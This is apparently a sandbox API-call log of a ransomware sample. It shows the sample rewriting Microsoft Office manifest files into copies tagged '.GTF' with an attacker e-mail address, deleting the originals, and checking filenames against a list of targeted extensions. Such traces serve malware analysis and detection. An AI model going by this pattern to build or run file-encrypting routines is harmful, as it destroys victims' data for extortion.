	[0075.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.728] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=763363) returned 1
	[0075.728] CloseHandle (hObject=0x370) returned 1
	[0075.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0075.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.729] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.729] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0075.729] GetLastError () returned 0x0
	[0075.729] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xba5e3, lpOverlapped=0x0) returned 1
	[0075.746] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xba5f0, lpOverlapped=0x0) returned 1
	[0076.358] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.358] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.358] SetEndOfFile (hFile=0x340) returned 1
	[0076.358] CloseHandle (hObject=0x340) returned 1
	[0076.373] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.373] SetEndOfFile (hFile=0x370) returned 1
	[0076.379] CloseHandle (hObject=0x370) returned 1
	[0076.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0076.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1
	[0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.659] lstrlenW (lpString=".doc") returned 4
	[0076.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.659] lstrlenW (lpString=".docx") returned 5
	[0076.659] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.659] lstrlenW (lpString=".pdf") returned 4
	[0076.659] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.659] lstrlenW (lpString=".xls") returned 4
	[0076.659] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.659] lstrlenW (lpString=".xlsx") returned 5
	[0076.659] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.659] lstrlenW (lpString=".ppt") returned 4
	[0076.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.659] lstrlenW (lpString=".zip") returned 4
	[0076.659] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.659] lstrlenW (lpString=".rar") returned 4
	[0076.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString=".bz2") returned 4
	[0076.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString=".7z") returned 3
	[0076.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.660] lstrlenW (lpString=".dbf") returned 4
	[0076.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.660] lstrlenW (lpString=".1cd") returned 4
	[0076.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.660] lstrlenW (lpString=".jpg") returned 4
	[0076.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.660] lstrlenW (lpString=".doc") returned 4
	[0076.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString=".docx") returned 5
	[0076.660] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.660] lstrlenW (lpString=".pdf") returned 4
	[0076.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString=".xls") returned 4
	[0076.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString=".xlsx") returned 5
	[0076.660] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.660] lstrlenW (lpString=".ppt") returned 4
	[0076.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.660] lstrlenW (lpString=".zip") returned 4
	[0076.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.660] lstrlenW (lpString=".rar") returned 4
	[0076.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.660] lstrlenW (lpString=".bz2") returned 4
	[0076.664] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.664] lstrlenW (lpString=".7z") returned 3
	[0076.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.664] lstrlenW (lpString=".dbf") returned 4
	[0076.664] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.664] lstrlenW (lpString=".1cd") returned 4
	[0076.665] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0076.665] lstrlenW (lpString=".jpg") returned 4
	[0076.665] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.665] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0076.668] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53
	[0076.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.468] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=343329) returned 1
	[0077.468] CloseHandle (hObject=0x390) returned 1
	[0077.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.560] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.567] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.567] GetLastError () returned 0x0
	[0077.567] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x53d21, lpOverlapped=0x0) returned 1
	[0077.575] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x53d30, lpOverlapped=0x0) returned 1
	[0077.582] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.582] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.582] SetEndOfFile (hFile=0x35c) returned 1
	[0077.582] CloseHandle (hObject=0x35c) returned 1
	[0077.589] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.589] SetEndOfFile (hFile=0x388) returned 1
	[0077.592] CloseHandle (hObject=0x388) returned 1
	[0077.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.593] lstrlenW (lpString=".doc") returned 4
	[0077.593] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.593] lstrlenW (lpString=".docx") returned 5
	[0077.593] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.593] lstrlenW (lpString=".pdf") returned 4
	[0077.593] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.593] lstrlenW (lpString=".xls") returned 4
	[0077.593] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.593] lstrlenW (lpString=".xlsx") returned 5
	[0077.593] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.593] lstrlenW (lpString=".ppt") returned 4
	[0077.593] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.593] lstrlenW (lpString=".zip") returned 4
	[0077.593] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.593] lstrlenW (lpString=".rar") returned 4
	[0077.593] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.593] lstrlenW (lpString=".bz2") returned 4
	[0077.593] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.593] lstrlenW (lpString=".7z") returned 3
	[0077.593] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.593] lstrlenW (lpString=".dbf") returned 4
	[0077.593] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.594] lstrlenW (lpString=".1cd") returned 4
	[0077.594] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.594] lstrlenW (lpString=".jpg") returned 4
	[0077.594] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.594] lstrlenW (lpString=".doc") returned 4
	[0077.594] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString=".docx") returned 5
	[0077.594] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.594] lstrlenW (lpString=".pdf") returned 4
	[0077.594] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString=".xls") returned 4
	[0077.594] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString=".xlsx") returned 5
	[0077.594] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.594] lstrlenW (lpString=".ppt") returned 4
	[0077.594] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.594] lstrlenW (lpString=".zip") returned 4
	[0077.594] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.594] lstrlenW (lpString=".rar") returned 4
	[0077.594] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString=".bz2") returned 4
	[0077.594] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString=".7z") returned 3
	[0077.594] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.594] lstrlenW (lpString=".dbf") returned 4
	[0077.594] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.594] lstrlenW (lpString=".1cd") returned 4
	[0077.594] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0077.595] lstrlenW (lpString=".jpg") returned 4
	[0077.595] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.595] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.595] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53
	[0077.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.595] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=399528) returned 1
	[0077.595] CloseHandle (hObject=0x388) returned 1
	[0077.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.595] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.595] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.596] GetLastError () returned 0x0
	[0077.596] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x618a8, lpOverlapped=0x0) returned 1
	[0077.612] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x618b0, lpOverlapped=0x0) returned 1
	[0077.619] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.619] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.619] SetEndOfFile (hFile=0x35c) returned 1
	[0077.620] CloseHandle (hObject=0x35c) returned 1
	[0077.628] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.628] SetEndOfFile (hFile=0x388) returned 1
	[0077.631] CloseHandle (hObject=0x388) returned 1
	[0077.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.632] lstrlenW (lpString=".doc") returned 4
	[0077.632] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.632] lstrlenW (lpString=".docx") returned 5
	[0077.632] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.632] lstrlenW (lpString=".pdf") returned 4
	[0077.632] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.632] lstrlenW (lpString=".xls") returned 4
	[0077.632] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.632] lstrlenW (lpString=".xlsx") returned 5
	[0077.632] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.632] lstrlenW (lpString=".ppt") returned 4
	[0077.632] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.632] lstrlenW (lpString=".zip") returned 4
	[0077.632] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.632] lstrlenW (lpString=".rar") returned 4
	[0077.633] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString=".bz2") returned 4
	[0077.633] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString=".7z") returned 3
	[0077.633] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.633] lstrlenW (lpString=".dbf") returned 4
	[0077.633] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.633] lstrlenW (lpString=".1cd") returned 4
	[0077.633] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.633] lstrlenW (lpString=".jpg") returned 4
	[0077.633] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.633] lstrlenW (lpString=".doc") returned 4
	[0077.633] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString=".docx") returned 5
	[0077.633] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.633] lstrlenW (lpString=".pdf") returned 4
	[0077.633] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString=".xls") returned 4
